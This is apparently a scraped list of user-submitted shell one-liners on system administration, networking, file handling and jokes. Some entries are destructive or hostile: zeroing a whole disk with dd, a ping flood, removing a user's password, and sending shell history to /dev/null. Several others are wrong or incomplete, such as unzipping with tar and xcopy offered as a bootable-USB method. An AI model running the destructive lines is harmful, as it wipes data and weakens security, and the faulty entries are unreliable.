Move a file up a directory.
mv file_name.extension ..
Power Supply Triggered Alert
check(){ power=$(acpi -a) ; if [[ $power == *on-line* ]] ; then echo "supply is on"; else echo "somebody is steeling your laptop"; amixer -c0 set Master 100+ unmute ; mpg123 nuclear-alarm.mp3 ; fi } ;while true; do check ; sleep 2 ; done
Pipe music over netcat with mpg123
#Client!!! Example "cat "The Meters - People Say.mp3" | nc -vv 192.168.1.100 8080; #Server!!! Example "nc -vv -l -s 192.168.1.100 -p 8080 | mpg123 -v -
print line and execute it in BASH
<TBD>
Apache server config file
apache2ctl -V | grep SERVER_CONFIG_FILE
Return IP Address
awk '/inet end/ {print $3}' <(ifconfig eth0)
calculate in commandline with python
python -c "print 1+1"
determine if tcp port is open
nc <ip> <port> -v
Get your external IP address
curl whatismyip.org
OSX: Use Say Command to Help You Play Hide-and-Seek
txt="";for i in {1..20};do txt=$txt"$i. ";done;say $txt" Ready or not, here I come"
Easy way to check disk I/O culprits
iotop
rm all files you grep
find . | grep deleteme | while read line; do rm $line; done
determine if tcp port is open
fuser -n tcp -s <port> && echo "+open"
set fan speed (ATI cards)
aticonfig --pplib-cmd "set fanspeed 0 <number>"
Reset scrambled screen
cat [ENTER]^V^O[ENTER]^D
grep
more blast.out| grep virus | awk '{print $1}' > virus_id.txt
Display directory hierarchy listing as a tree
ls -R | grep : | sed -e '\''s/:$//'\'' -e '\''s/[^-][^\/]*\//--/g'\'' -e '\''s/^/ /'\'' -e '\''s/-/|/'\''
Copy All mp3 files in iTunes into one folder (Example: Music on Desktop) (Os X)
find ~/Music/iTunes/ -name *.mp3 -exec cp {} ~/Desktop/Music/ \;
Get rid of multiple spaces/tabs in a text file
sed -i "s/\s*/ /g;s/\s*$//" input_file
Search recursively to find a word or phrase in certain file types, such as C code
find . -name "*.[ch]" -print | xargs grep -i -H "search phrase"
recursively delete .svn folders from a directory
rm -rf `find . -type d -name .svn`
convert from decimal to hexadecimal
hex() { echo $1 16op | dc; }
Stage added, updated, and DELETED files for commit
git add -u
Testing php configuration
echo "<?php phpinfo(); ?>" >> /srv/www/htdocs/test.php
Get your external IP address
curl http://ipecho.net/plain
Copy directories and files just like
xcopy /e/h/y /z/i /k /f src dest
Selecting a random file/folder of a folder
ls -1 | awk 'BEGIN{srand()} {x[NR] = $0} END{print "Selected", x[1 + int(rand() * NR)]}'
find previously entered commands
tac ~/.bash_history | grep -w
Echo several blank lines
yes '' | head -n100
list all available disks and disk partitions
sed 's/#.*//' /etc/fstab | column -t
MS-DOS only: Loop over array of system variable
FOR /F "tokens=3* delims=[]=" %A IN ('SET ARRAY[') DO ( echo %A )
Selecting a random file/folder of a folder
IFS=$'\n'; LIST=`ls -1`; let TOT=`echo $LIST | wc -w`-1 ; array=($LIST); echo "Selected ${array[ ($RANDOM % $TOT) ]}"
Selecting a random file/folder of a folder
echo Selected $(ls -1 | sort -R | head -n 1)
LSD: List directory files in current directory
ls -l !* | /usr/bin/grep '^d'
Double Compile system and world on gentoo
emerge -e system && emerge -e system && emerge -e world && emerge -e world
find the 10 largest directories
find . -type d -print0 | xargs -0 du -s | sort -n | tail -10 | cut -f2 | xargs -I{} du -sh {} | sort -rn
Replace tabs with spaces in file
cat file_with_tabs.txt | perl -pe 's/\t/ /g'
Randomize the order of lines in a text file.
awk 'BEGIN {srand()} {print int(rand()*1000000) "\t" $0}' FILE | sort -n | cut -f 2-
declare variable as integer
declare -i aa ; aa=3*8 ; echo $aa
Read just the IP address of a device
ip addr|grep "inet "
securely locate file and dir
slocate filename/dirname
determine if a shared library is compiled as 32bit or 64bit
file -L <library> | grep -q '64-bit' && echo 'library is 64 bit' || echo 'library is 32 bit'
rcs - local backup of any text configuration file before dangerous experiment with version control and comments
ci -l /etc/rc.conf
Securely seeing the password file over the network
vipw
Print a row of 50 hyphens
<alt+50>-
Bash function to see if the day ends in "y"
function ends_in_y() { if [ `date +%A | sed -e 's/\(^.*\)\(.$\)/\2/'` == "y" ]; then echo 1; else echo 0; fi }
Press enter and take a WebCam picture.
-y -r 1 -t 3 -f video4linux2 -vframes 1 -s sxga -i /dev/video0 ~/webcam-$(date +%m_%d_%Y_%H_%M).jpeg
Securely look at the group file over the network
vigr
Play a random [album/movie] two rows down
mplayer "$(find . -maxdepth 2 -mindepth 2 -type d | grep -v '^.$' | sort -R | head -n1)"/*
Securely edit the sudo file over the network
visudo
Removes Apple "garbage"
find . -name *DS_Store -exec echo rm {} \;
How to run a specific command in remote server by ssh
ssh user@remotehost [anycommand](i.e uptime,w)
Send packet by ping
sudo ping -f -c 999 -s 4500 target.com
ls
/ls
Delete everything on hda
dd if=/dev/zero of=/dev/hda bs=16M
Killing a process in Windows 7 command line
Taskkill /?
bind a web server in $PWD
python -c "import SimpleHTTPServer;SimpleHTTPServer.test()"
This command will tell the last login and reboot related information
last
last mounted device
mount |tail -1 | less -p "/dev/[^ ]*"
Create a newFolder that is a symbolic link to another folder
ln -s /destinationTarget /sourceTarget/newFolder
Download some ramdom wallpapers from wallbase.cc
wb(){ for i in $(wget -O- -U "" "http://wallbase.cc/random/23/eqeq/1920x1080/0/" --quiet|grep wallpaper/|grep -oe 'http://wallbase.[^"]*'); do if (( n > "$1" )); then break;fi;let n++;wget $(wget -O- -U "" $i --quiet|grep -oe 'http://[^"]*\.jpg');done;}
Lists installed kernels
aptitude search \~ilinux-image
Extract text from picture [OCR reader]
gocr -i ~/Screenshot.png
Unix security checker
tiger
Open files of the same name in TextMate
mate - `find . -name 'filename'`
Broadcast message to all logged in terminal users.
cat welcome | wall
How many Non-free software is on your machine ?
vrms
list all file extensions in a directory
ls | perl -lne '++$x{lc $1} if /[.](.+)$/ }{ print for keys %x'
use a literal bang (exclamation point) in a command
echo '!'whammy
to perform operation line by line in a file without using sed or awk
s=`head -$i fileName | tail -1`
Overcome Bash's expansion order
mkdir ${1..10}
List only hidden files
ls -ad .*
Batch rename extension of all files in a folder, in the example from .txt to .md
rename .txt .md *.txt
Replace spaces in filename
ls | while read -r FILE; do mv -v "$FILE" `echo $FILE | tr -d ' '`; done
Quickly make schema changes in Django
while true ; do scripts/bootstrap.py ; ./manage.py runserver ; done
Execute a PHP script every 30 minutes using crontab
0,30 * * * * php -q /address/to/script.php
Sort files by size
ls -lS
stores the number of lines of "file" in a variable to use in a loop
count=`wc -l file | cut -d ' ' -f1`
Record live sound from soundcard input to FLAC
rec -c 2 -r 44100 -s -t wav - | flac - --sign=signed --channels=2 --endian=big --sample-rate=44100 --bps=16 -f -o file.flac
shell function to find duplicate lines in a series of files or in stdin
dups() { sort "$@" | uniq -d; }
Delete tens of thousans of files at one go
rm -rf `ls | head -5000`
remove the last of all html files in a directory
a=($(ls *html)) && a=${a[$(expr ${#a[@]} - 1)]} && rm $a
Show a script or config file without comments
sed -e '/^[[:blank:]]*#/d; s/[[:blank:]][[:blank:]]*#.*//' -e '/^$/d' -e '/^\/\/.*/d' -e '/^\/\*/d;/^ \* /d;/^ \*\//d' /a/file/with/comments
View SuSE version
cat /etc/SuSE-release
Open file with sudo when there is no write-permission
vi2() {for i in $@; do [ -f "$i" ] && [ ! -w "$i" ] && sudo vim $@ && return; done; vim $@}
Jump to any directory below the current one
jd() { cd **/"$@"; }
Play music radio from Z-103.5
mplayer http://38.100.101.69/CIDCFMAAC
bash / vim workflow
vim -
ssh autocomplete
complete -W "$(echo `cat .bash_history | egrep '^ssh ' | sort | uniq | sed 's/^ssh //'`;)" ssh
Compress and Backup a disk image
dd if=/dev/<device location> | gzip -c /<path to backup location>/<disk image name>.img.gz
Enable passwordless login
passwd -d $USER
How many lines in your c project?
find -name *.\[c\|h\] | xargs wc -l
Get your public ip
wget -qO - http://cfaj.freeshell.org/ipaddr.cgi
unzip file on local machine copy to remote machine with ssh
gzip -cd file.gz | ssh user@host 'dd of=~/file'
wmi
wmic -U DOMAIN/user --password='password' //IP_HOST "select Caption,CSDVersion,CSName from Win32_OperatingSystem" | grep Windows
Paste what you previously wrote in INSERT MODE
. (in NORMAL MODE)
Current host external IP
wget http://cmyip.com -O - -o /dev/null | awk '/\<title/ {print $4}'
Get memory total from /proc/meminfo in Gigs
awk '{ printf "%.2f", $2/1024/1024 ; exit}' /proc/meminfo
mural graffiti
tput setaf 1;tput rev;h=$(tput lines);w=$[$(tput cols)/6];c=$(seq -ws '_____|' $[$w+1]|tr -d "0-9");for a in $(seq $[$h/2]);do echo $c;echo ${c//|___/___|};done;tput cup 0;toilet -t -f bigmono12 "?LOVE";tput cup $h
Convert *.mp3 files to *.wav for recording audio cd's
ls |while read line ; do mpg321 -w "$line.wav" "$line" ; done
Check cobbler environment
cobbler check
Remove password from any pdf in current or sub directories
for z in */*.pdf; do gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$z new" -c .setpdfwrite -f "$z" mv "$z new" "$z"; done
Encoding with base64
echo "Hello world" | base64
Download random gifs from gifbin.com
site="http://gifbin.com/"; for i in $(wget -qO- "$site"random| sed -r "s/^.*(bin\/.+\.gif).*$/\1/m" | grep "^bin"); do wget -c "$site$i"; filename=`basename $i`; [ `identify $filename | wc -l` -gt 1 ] || rm -f $filename; done
Kills MYWIFE.
pkill -U MYWIFE
flush cached dns lookups
ipconfig /flushdns
Check whether laptop is running on battery or cable
cat /proc/acpi/battery/*/state
Renaming files removing some unwanted extension
for i in *ext; do mv $i ${i%.ext}; done
mkdir & cd into it as single command
echo 'mkcd() { mkdir -p "$@" && cd "$_"; }' >> ~/.bashrc
Remove lines with matched string
for i in $(find . -iname '*.html'); do sed '/String/d' $i > $i-tmp; mv $i-tmp $i; done
Kill multiple instances of a running process
pgrep rouge-process | xargs sudo kill -9
Generate load on your CPU
while true; do /bin/true; done
Listen and sort your music, with prompt for deleting
for i in $(ls *.mp3); do mplayer $i && echo "delete it? [y/n]" && read trash && if [ "$trash" == "y" ]; then rm $i; fi; do
Ultimate current directory usage command
ls -shF --color
Get your external IP address
lynx --dump icanhazip.com
Open any file and suppress error warnings message
alias o='xdg-open "$@" 2>/dev/null'
Create Bootable USB from ISO file
xcopy D:\*.* /s/e/f E:\
Recursive when needed
rm strangedirs -rf
Cut a large wordlist into smaller chunks
less file.lst | head -n 50000 > output.txt
Look for timthumb.php or thumb.php and get its version.
find `pwd` -type f \( -iname thumb.php -or -iname timthumb.php \) -exec grep -HP 'define ?\(.VERSION' {} \;
Get the IP address
ifconfig | grep "inet addr" | cut -d":" -f2 | cut -d" " -f1
get basic information out of your computer
lspci
Revert all modified files in an SVN repo
svn revert .
Play audio file
play $audio_file
parses the BIOS memory and prints information about all structures (or entry points) it knows of.
biosdecode
detect the Super I/O chip on your computer, tell you at which configuration port it is located and can dump all the register contents.
superiotool
Ultimate current directory usage command
O=$IFS;IFS=$'\n'; D=$(for f in *;do [[ -d $f ]] && du -sh "$f";done | sort -gr);F=$(for f in *;do [[ -f $f ]] && du -sh "$f";done | sort -gr);IFS=$O;echo "$D";echo "$F"
Alternative size (human readable) of directories (biggest first)
function duf { du -k $@ | sort -rn | perl -ne '($s,$f)=split(/\t/,$_,2);for(qw(K M G T)){if($s<1024){$x=($s<10?"%.1f":"%3d");printf("$x$_\t%s",$s,$f);last};$s/=1024}' }
System load information alongside process information in a similar style to top.
atop
open two files in vim
vim file1 file2
SSH RPC (transparently run command on remote host)
echo -e '#!/bin/bash\nssh remote-user@remote-host $0 "$@"' >> /usr/local/bin/ssh-rpc; chmod +x /usr/local/bin/ssh-rpc; ln -s hostname /usr/local/bin/ssh-rpc; hostname
One-step create & change directory
alias mkdirr='function _mkdirr(){ mkdir $1 && cd $_;};_mkdirr'
kill a windows process
taskkill /F /im notepad.exe
Mailing from Vim
w: !mailx -s "Some subject" user@host.com
Reproduce test failure by running the test in loop
(set -e; while true; do TEST_COMMAND; done) | tee log
show you the time when you lost the remote server.
ssh remotehosts;date
sorts /dev/random
find /dev/ -name random -exec bash -c '[ -r $0 -a -w $0 ] && dd if=$0 | sort | dd of=$0' {} \;
Remove executable bit from all files in the current directory recursively, excluding other directories, firm permissions
find . -type f -exec chmod a-x {} \;
remove unneeded configuration files in debian
dpkg-query -l| grep -v "ii " | grep "rc " | awk '{print $2" "}' | tr -d "\n" | xargs aptitude purge -y
Are the two lines anagrams?
s(){ sed 's/./\n\0/g'<<<$1|sort;};cmp -s <(s foobar) <(s farboo)||echo -n "not ";echo anagram
Print last modified time in 'date – file' format
ls -alt /directory/ | awk '{ print $6 " " $7 " -- " $9 }'
mount a folder tmpfs
tmpfs(){ cd /;for i in $@;do tar czvf /tmp/$i $i;mount -t tmpfs tmpfs /$i;tar xvzf /tmp/$i;cd ~ ;}!!! Example "usage: tmpfs etc var
tty columns
col1(){ case $!!! Example "in 0)echo col1 col-length;;*) sed 's/\(.\{'"$1"'\}\)\(.*\)/\1/' esac;}
Alternative size (human readable) of directories (biggest last)
function duf { du -sk "$@" | sort -n | while read size fname; do for unit in k M G T P E Z Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size=$((size/1024)); done; done; }
Enable Hibernate in OS X
sudo pmset -a hibernatemode 1
Kill process by searching something from 'ps' command
ps ux|grep <process name>|awk '{print $2}'|xargs -n 1 kill
Alias to connect every single node of cluster
alias connectAllMachines='Terminal --maximize -e "ssh server1" --tab -e "ssh server2" --tab -e "ssh server3"'
ssh Publickey auf remote Rechner anh?ngen
cat .ssh/id_rsa.pub | ssh user@server "cat >>.ssh/authorized_keys2"
Ignore the specified signal
trap '' 1 2 20 24(signal number)
Quick scrape of recent mobile home dir file sync for Mac Admins - tested with shell: bash, Mac OSX 10.5
tail -n 20 ~/Library/Logs/FileSyncAgent.log
list connected usb devices
lsusb
List dot-files and dirs, but not . or ..
find directory -maxdepth 1 -iname "*" | awk 'NR >= 2'
Display a random man page
(cd /bin; set -- *; x=$((1+($RANDOM % $#))); man ${!x})
Get your current Public IP
alias myip='curl -s http://checkrealip.com/ | grep "Current IP Address"'
Echo a command, then execute it
v () { echo "$@"; "$@"; }
View your machine firewall settings
iptables -L -n -v
Random password generating function
mkpasswd() { head -c $(($1)) /dev/urandom | uuencode - | sed -n 's/.//;2s/\(.\{'$1'\}\).*/\1/p' ;}
Defragment SQLite databases used by Firefox/Win32 and other software.
for /f "delims==" %a in (' dir "%USERPROFILE%\*.sqlite" /s/b ') do echo vacuum;|"sqlite3.exe" "%a"
Write and run a quick C program
alias cstdin='echo "Ctrl-D when done." && gcc -Wall -o ~/.stdin.exe ~/.stdin.c && ~/.stdin.exe'
journaling directories
mkdir `date | sed 's/[: ]/_/g'`
Get Futurama quotations from slashdot.org servers
echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | head -n5 | tail -1 | cut -f2 -d-
Play random playlist
gst123 -z **/*
Remove all files previously extracted from a tar(.gz) file.
for i in $(tar -tf <file.tar.gz>); do rm $i; done;
greps the man pages to find utilities
apropos keyword
Combining text files into one file
cat file1 ... fileN > combinedFile;
Show the number of current httpd processes
top -b -n 1 |grep httpd|wc -l
Polls fos network port usage
while sleep 1; do date; (netstat -a -n | grep 80) ; done
Prints "hello, world" to the console in very large letters
paste <(banner hello,\ ) <(banner world)
Print file content in reverse order
sed -n '1!G;h;$p' techie.txt
Poll and print end of lates modified file
watch 'ls -tr1 | tail -n1 | xargs tail'
md5sum for files with bad characters
find . -type f -exec md5sum {} \;
/bin/rm: Argument list too long.
find . -name 'spam-*' |xargs rm;find . -name 'spam-*' -print0 | xargs -0 rm
Find top 5 big files
count=0;while IFS= read -r -d '' line; do echo "${line#* }"; ((++count==5)) && break; done < <(find . -type f -printf '%s %p\0' | sort -znr)
xxcopy everything from one Windows box to another
xxcopy x:\folder1 y:\folder2 /s /h /tca /tcc /tcw /yy
Show the single most recently modified file in a directory
lastfile () { find ${1:-.} -maxdepth 1 -type f -printf "%T+ %p\n" | sort -n | tail -n1 | sed 's/[^[:space:]]\+ //'; }
Backup the first 1MB of your volume
dd if=/dev/sdX of=/root/sdX.bin bs=1M count=1
Real full backup copy of /etc folder
cp -a /etc /destination
kill all running instances of wine and programs runned by it (exe)
ps ax > processes && cat processes | egrep "*.exe |*exe]" | awk '{ print $1 }' > pstokill && kill $(cat pstokill) && rm processes && rm pstokill
Remove blank lines from a file and save output to new file
sed '/^$/d' file >newfile
Common key binding for 'less' to search for a string
less file.ext
Move files around local filesystem with tar without wasting space using an intermediate tarball.
tar -C <source_dir> -cf . | tar -C <dest_dir> -xf
Emptying a text file in one shot in VIM
:!>test.txt
Returns the absolute path to a command, using which if needed
get_absolute_path() { echo $1 | sed "s|^\([^/].*/.*\)|$(pwd)/\1|;s|^\([^/]*\)$|$(which -- $1)|;s|^$|$1|"; }
show ip
ip a
Creating a pseudo-random password
perl -e 'print crypt("PASSWORD",int(rand(128))).$/;'
count occurences of each word in novel David Copperfield
wget -q -O- http://www.gutenberg.org/dirs/etext96/cprfd10.txt | sed '1,419d' | tr "\n" " " | tr " " "\n" | perl -lpe 's/\W//g;$_=lc($_)' | grep "^[a-z]" | awk 'length > 1' | sort | uniq -c | awk '{print $2"\t"$1}'
extract a certain number of lines from a file and dump them to another file
grep '' -m X file1 > file2
See smbstatus all the time
while (( $i != 0 )) { smbstatus; sleep 5; clear }
!$ - The last argument to the previous command
svn status app/models/foo.rb; svn commit -m "Changed file" !$
Display default values on Foundry (Brocade) RX and MLX BigIron L3 (routers & switches)
sh default values
kill all pids from $PID
PID=httpd ; ps aux | grep $PID | grep -v grep | awk '{print $2}' | xargs kill -9
Twitter Account Validator
if lynx --dump http://twitter.com/xmuda | grep -q "Sorry, that page does"; then echo "Dont Exist"; else echo "Exist"; fi
Dispaly a bunch of Info. on Foundry (Brocade) RX and MLX BigIron L3 (routers & switches)
dm ?
Place a filename at the beginning of the line to make it easier to edit the search at the end of the command. Place a filename at the beginning of the line to make it easier to edit the search at the end of the command.
Place a filename at the beginning of the line to make it easier to edit the search at the end of the command.
let w3m usecookie
alias w3m='w3m -cookie'
forcing Windows to do the scandisk during boot
ntfsfix /dev/hda1
change your PS1 to look better :)
newhostname=$(hostname | awk -F. '{print $1 "." $2}'); ipaddress=$(nslookup `hostname` | grep -i address | awk -F" " '{print $2}' | awk -F. '{print $3 "." $4}' | grep -v 64.142);PS1="[`id -un`.$newhostname.$ipaddress]"' (${PWD}): '; export PS1
Copy a file over SSH without SCP
uuencode -m <filename> <filename>
Find the files that include a TODO statement within a project
grep --exclude-dir=.svn --exclude=*~ -i "TODO" -rl .
delete first X lines of a file
sed '1,55d'
Ping 10 times then quit
ping -c 10 hostname
convert vdi to vmdk (virtualbox v3.2 hard disk conversion to vmware hard disk format)
vboxmanage clonehd --format VMDK <source image|uuid> <destination image>
Remove all pyc files
find . -name \*.pyc -delete
Find out your Debian version
cat /etc/debian_version
netstat with group by (ip adress)
netstat -ntu | awk ' $5 ~ /^[0-9]/ {print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
get today's xkcd
a=`curl http://xkcd.com 2>/dev/null | grep -iE 'src=.*imgs.xkcd.com/comics/'`; b=`echo ${a#*src=\"}`; eog ${b%%\"*}
MacOS: Make the terminal app always quit when
alias exit="killall Terminal"
pkill
w ; pkill -kill -t pts/1
kill some process (same as others) but parsing to a variable
tokill=`ps -fea|grep process|awk '{ printf $2" "}'`; kill -9 $tokill;
Function to solve a simple combinatorial maths puzzle from the command line
marbles () { c=''; for i in $(seq $1); do c+='{b,r}'; done; x=$(eval echo $c); p=''; for i in $(seq $2); do p+='b*r'; done; y=$(grep -wo "${p}b*" <<< $x); wc -l <<< "$y"; grep -vc 'rr' <<< "$y"; }
run a previous command
!previous_command
Expand tabs
function expand-tabs() { expand -t 8 "$1" > "$1.expanded"; mv -f "$1.expanded" "$1"; }
Replace spaces with tabs & format file source recursively within a directory
find . -type f -name \*.php | while IFS="" read i; do expand -t4 "$i" > "$i-"; mv "$i-" "$i"; done
Find which version of Linux You are Running
lsb_release -d
Search and replace in multiple files and save them with the same names - quickly and effectively!
for files in $(ls -A directory_name); do sed 's/search/replaced/g' $files > $files.new && mv $files.new $files; done;
Display RSTP (802.1W) Info. on on Foundry (Brocade) RX and MLX BigIron L3 (routers & switches)
show 802-1w
Counting the source code's line numbers C/C++ Java
find /usr/include/ -name '*.[c|h]pp' -o -name '*.[ch]' -exec cat {} \;|wc -l
A death cow thinking in your fortune cookie
fortune -s -c -a | cowthink -d -W 45
zip all files in a directory, one file per zip
for i in $( find . ); do echo zipping file: $i zip $i.zip $i done
df without line wrap on long FS name
alias df="df | awk 'NF == 1 {printf(\$1); next}; {print}'"
Blue Matrix
while :; do integer i=0; COL=$((RANDOM%$(tput cols))); ROW=$((RANDOM%$(tput cols))); while (( i <= COL)) do tput cup $i $ROW; echo "\033[1;34m" $(cat /dev/urandom | head -1 | cut -c1-1) 2>/dev/null; i=$(expr $i + 1); done done
free up memory
echo 3 > /proc/sys/vm/drop_caches
Download a file securely via a remote SSH server
scp $user@$server:$path/to/file .
grep 'hoge' */ => Argument list too long
echo **/* | xargs grep 'hoge'
This generates a unique and secure password with SALT for every website that you login to
sitepass2() {salt="this_salt";pass=`echo -n "$@"`;for i in {1..500};do pass=`echo -n $pass$salt|sha512sum`;done;echo$pass|gzip -|strings -n 1|tr -d "[:space:]"|tr -s '[:print:]' |tr '!-~' 'P-~!-O'|rev|cut -b 2-15;history -d $(($HISTCMD-1));}
grep 'hoge' */ => Argument list too long
grep -r hoge .
Rename files that have number, space and hyphen
for f in * ; do mv -- "$f" "${f/[0-9][0-9] \- /}" ; done
grep 'hoge' */ => Argument list too long
ack hoge .
set the system date
rdate -s time-A.timefreq.bldrdoc.gov
http://xname.cc/text/video-streaming-on-wan.pdf (encode.sh)
./encode.sh [ h264 | xvid | theora | mpeg4 ]
Remove everyting in a text file. Useful to fix ssh host key warnings
> ~/.ssh/known_hosts
Graphical display of wireless links
wmwave
Press Any Key to Continue
read enterKey
verify a file using its detached signature
gpg --verify file.txt.asc file.txt
Google Tasks webapp using Chromium Browser
alias gtasks='chromium-browser --app=https://mail.google.com/tasks/ig'
decrypt file.txt.gpg using my private key
gpg -d file.txt.gpg -o file.txt
clear screen, keep prompt at eye-level (faster than clear(1), tput cl, etc.)
Ctrl+l
colorize and continuously tail two files
tail -f to.log | colorize.pl +l10:".*" &
Quick findstring recursively in dirs (Alias from long find with xargs cmd)
alias findstring="find . -type f -print | xargs grep $1"
Random Password Generator (uses all chars, no repeated chars)
for i in {21..79};do echo -e "\x$i";done | tr " " "\n" | shuf | tr -d "\n"
Get some useful Information
man <COMMAND>
same as backspace and return
kill process by name
pkill
Check if hardware is 32bit or 64bit
if [[ lm = $(cat /proc/cpuinfo | grep " lm ") ]] ; then echo "64 bits" ; else echo "32 bits" ; fi
small one-line loop, change for different taste :P
for FILE in $(ls); do [COMMAND]; done
Remove rpm package by pattern
yum erase `yum list installed | grep 'php'`
yesterday
perl -lne 'use POSIX; print strftime("%Y-%m-%d", localtime(time() - 86400));'
full cpu info (linux)
cat /proc/cpuinfo
psgrep
psgrep() { if [ ! -z $1 ]; then echo "Grepping for processes matching $1..." ps aux | grep -i $1 | grep -v grep; else echo "!! Need name to grep for"; fi }
It outputs a given line from a file
awk 'NR==linenumber' filename
Visit wikileaks.com
echo 213.251.145.96 wikileaks.com | sudo tee -a /etc/hosts
see the partition
fdisk -l
Snmpwalk a hosts's entire OID tree with SNMP V3 without Authentication or Privacy
snmpwalk -v3 -On -u <user> -l NoAuthNoPriv -m ALL <HOST_IP> .
Monitor Applications application that are connected/new connections
while true; do netstat -p |grep "tcp"|grep --color=always "/[a-z]*";sleep 1;done
Snmpwalk a hosts's entire OID tree with SNMP V3 with MD5 Authentication and without Privacy
snmpwalk -v3 -On -u <user> -l AuthNoPriv -a MD5 -A <auth_password> -m ALL <HOST_IP> .
Cat files in a directory; for loop command
cat *
Snmpwalk a hosts's entire OID tree with SNMP V3 with SHA Authentication and without Privacy
snmpwalk -v3 -On -u <user> -l AuthNoPriv -a SHA -A <auth_password> -m ALL <HOST_IP> .
Get My Public IP Address
links2 -dump http://checkip.dyndns.com | cut -d ' ' -f7
Execute sudo command remotely with ssh
ssh -t myserver.org 'sudo ls /etc'
Snmpwalk a hosts's entire OID tree with SNMP V3 with SHA Authentication and with Privacy
snmpwalk -v3 -On -u <user> -l AuthPriv -a SHA -A <auth_password> -X <encryption_password> -m ALL <HOST_IP> .
aliases for apt-get
alias agi="sudo apt-get install" #package_names
geoip information
geoip() { lynx -dump "http://www.geoiptool.com/en/?IP=$1" | sed -n '/Host Name/,/Postal code/p' ; }
commit message generator - whatthecommit.com
lynx -dump -nolist http://whatthecommit.com/|sed -n 2p
Removes the .svn entries from a project
find -name ".svn" -exec rm -rf {} \;
скачать сайт
wget -r -k -l 7 -p -E -nc http://site.com/
redirect wget output to the terminal, instead of a file
wget -q -O - "$@" <url>
Get your external IP address
echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" | nc whatismyip.com 80 | tail -n1
Shows users and 'virtual users' on your a unix-type system
sudo lsof|sed 's/ */ /g'|cut -f3 -d' '|sort -u
Create a directory and change into it at the same time
function mkdcd () { mkdir "$1" && cd "$1" }
Shortcut to find files with ease.
findfile() { find . -type f -iname "*${*}*" ; }
Quickly assess quality of project by greping the SVN commit logs
svn log | grep "bodge\|fudge\|hack\|dirty"
Execute AccuRev pop command to retrieve missing files from a workspace.
accurev stat -M -fl | awk '{print "\"" $0 "\""}' | xargs accurev pop
..(), go up in directory tree, func to long please refer to description
[ ~/temp/foo/bar/baz ] $ .. 3
rgrep: recursive grep without .svn
grep query -r . --exclude-dir=.svn
sets volume via command line
amixer -c 0 set PCM 2dB+
Kill a process with its name
ps -u $USER |grep $1 | awk '{ print $1}'| xargs kill
Find files containing "text"
grep -lir "text to find" *
Get rid of multiple spaces/tabs in a text file
sed -i "s/\(\x09\{1,\}\)\|\( \{1,\}\)/ /g;s/\(\x09\{1,\}$\)\|\( \{1,\}$\)//g" brisati.txt
Search all files of type *.php for string 'specialFunction' and output the result in searchResult.txt
find . -name "*.php" | xargs egrep -i -s 'specialFunction' > searchresult.txt
Show directories in the PATH, one per line
print -l $path
Wait a moment and then Power off
sudo shutdown 3600 -P
simple echo of IPv4 IP addresses assigned to a machine
ifdata -pa eth0
convert permissions in ls to octal
ls -l | sed -e 's/--x/1/g' -e 's/-w-/2/g' -e 's/-wx/3/g' -e 's/r--/4/g' -e 's/r-x/5/g' -e 's/rw-/6/g' -e 's/rwx/7/g' -e 's/---/0/g'
Calculate the the last day of a month ± from current month
date -j -v1d -v-0m -v-1d +'%m %d %Y'
Random Number Between 1 And X
echo "$(od -An -N4 -tu4 /dev/urandom) % 5 + 1" | bc
Super Paste
(echo "" | xsel -o) ; (programa | wgetpaste -s dpaste | awk '{print $7}' | xsel -ai)
Get your external IP address
wget -q -O - checkip.dyndns.org|sed -e 's/.*Current IP Address: //' -e 's/<.*$//'
Press Any Key to Continue
echo -n "Press any key to continue..." && read
Show the meta information on a package (dependency , statuts ..) on debian derivative distro
aptitude show packages_name
Unzip multi-part zip archive
tar -xfv archive.zip
clean up memory on linux (fedora)
sync; echo 3 > /proc/sys/vm/drop_caches
Even better Cowsay/Fortune
cowsay `fortune` | toilet --gay -f term
Oneliner to get domain names list of all existing domain names (from wikipedia)
curl http://en.m.wikipedia.org/wiki/List_of_Internet_top-level_domains | grep "<tr valign=\"top\">" | awk -F">" '{ print $5 }' | awk -F"<" '{ print $1 }'
Always run apt-get as root
alias apt-get='sudo apt-get'
Display the linux host infomation.
hostinfo.sh
Remove a symbolic link
unlink <linkname>
Seach google from the command line in Unofficial google shell
http://goosh.org
Find out how much ram memory has your video (graphic) card
lspci|grep -i "VGA Compatible Controller"|cut -d' ' -f1|xargs lspci -v -s|grep ' prefetchable'
Remove executable bit from all files in the current directory recursively, excluding other directories
find . -type f | while read f; do chmod -x "$f"; done
When you have time to consume
moon-buggy
Executes a command changing an environment variable
VARIABLE="VALUE" COMMAND
empty set of files
sed -i -n '/%/p' *.php
Print only the even lines of a file
awk '{if (NR % 2 == 0) print $0}' file.txt
Pick a random line from a file
head -$(($RANDOM % $(wc -l < file.txt) +1 )) file.txt | tail -1
Export you history to nowhere
export HISTFILE=/dev/null/
Find the process you are looking for minus the grepped one
ps aux | grep process-name | grep -v "grep"
change user password one liner
echo -e "linuxpassword\nlinuxpassword" | passwd linuxuser
Back Up a disk to an image in your home directory
dd if=/dev/sda of=~/backup-disk-YY-MM-DD.img
use ImageMagik to convert tint (hue rotation) of an icon set directory.
/bin/ls *.png | xargs -l1 -I {} convert {} -modulate 100,100,70 ../../icons/32x32/{}
Skipping tests in Maven
mvn -Dmaven.test.skip=true install
Prepend string to filename
ls | while read -r FILE; do mv -v "$FILE" `echo "prependtext$FILE" `; done
Prepend string to filename
for i in *; do mv $i prependtext$i; done
Find String
grep -iR find_me ./
compile openvm-tools
m-a a-i open-vm
find out public ip address by using any host that have 'efingerd -n'
finger @www.linuxbanks.cn | grep -oE '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}' | head -n1
Get filename from a full file path
for /F %G in ('dir /b c:\Windows\system32\notepad.exe') do ( echo %G )
Pick a random line from a file
shuf file.txt | head -n 1
Start xterm in given directory
xterm -e "cd /my/directory; bash"
Start xterm in given directory
( cd /my/directory; xterm& )
Remove all unused kernels with apt-get
aptitude purge linux-image | grep ^i | grep -v $(uname -r)
shutdown pc in a 4 hours
sleep 4h && halt
Check if system is 32bit or 64bit
uname -m !!! Example "display machine "hardware name"
Redirecting stderr to file
<command> 2> <file>
Check processes runed not by you
ps aux | grep -v `whoami`
before writing a new script
echo '#!'$(which bash) > script.sh
Arguments too long
ls | xargs WHATEVER_COMMAND
